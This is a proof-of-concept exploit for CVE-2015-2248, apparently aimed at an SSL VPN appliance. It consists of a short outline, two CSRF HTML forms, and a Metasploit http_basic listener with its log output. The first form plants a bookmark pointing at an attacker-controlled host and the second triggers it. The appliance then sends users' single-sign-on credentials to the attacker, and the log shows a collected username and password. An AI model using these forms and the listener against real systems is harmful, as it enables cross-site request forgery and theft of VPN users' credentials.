# CVE : 2015-2248
Exploitation Procedure (Outline):
1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker.
2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay.
3. Gather the credentials on the target server provided in step #1
1. Create a bookmark:
<html>
<body>
<form action="https://vulnerable.vpn-installation.tld/cgi-bin/editBookmark" method="POST">
<input type="hidden" name="bmName" value="foo" />
<input type="hidden" name="host" value="www.malicious-host.tld" />
<input type="hidden" name="description" value="bar" />
<input type="hidden" name="tabs" value="Baz" />
<input type="hidden" name="service" value="HTTP" />
<input type="hidden" name="fbaSSOEnabled" value="on" />
<input type="hidden" name="fbaSSOFormUserName" value="user" />
<input type="hidden" name="fbaSSOFormUserPassword" value="password" />
<input type="hidden" name="MC_App" value="inherit" />
<input type="hidden" name="MC_Copy" value="inherit" />
<input type="hidden" name="MC_Print" value="inherit" />
<input type="hidden" name="MC_Offline" value="inherit" />
<input type="hidden" name="name" value="name" />
<input type="hidden" name="type" value="type" />
<input type="hidden" name="owner" value="owner" />
<input type="hidden" name="cmd" value="add" />
<input type="hidden" name="wantBmData" value="true" />
<input type="hidden" name="ok" value="OK" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2. Call the newly created bookmark
This might require some guesswork, because we don't know which value bookmarkAccessed needs to have.
<html>
<body>
<form action="https://vulnerable.vpn-installation.tld/cgi-bin/http">
<input type="hidden" name="HOST" value="www.malicious-host.tld" />
<input type="hidden" name="bookmarkAccessed" value="4" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
3. Set up a listener
E.g. metasploit payload
use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) >
[*] Listening on 0.0.0.0:80...
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://www.malicious-host.tld:80/
[*] Server started.
[*] vulnerable.vpn-installation.tld http_basic - Sending 401 to client vulnerable.vpn-installation.tld
[+] vulnerable.vpn-installation.tld http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password"
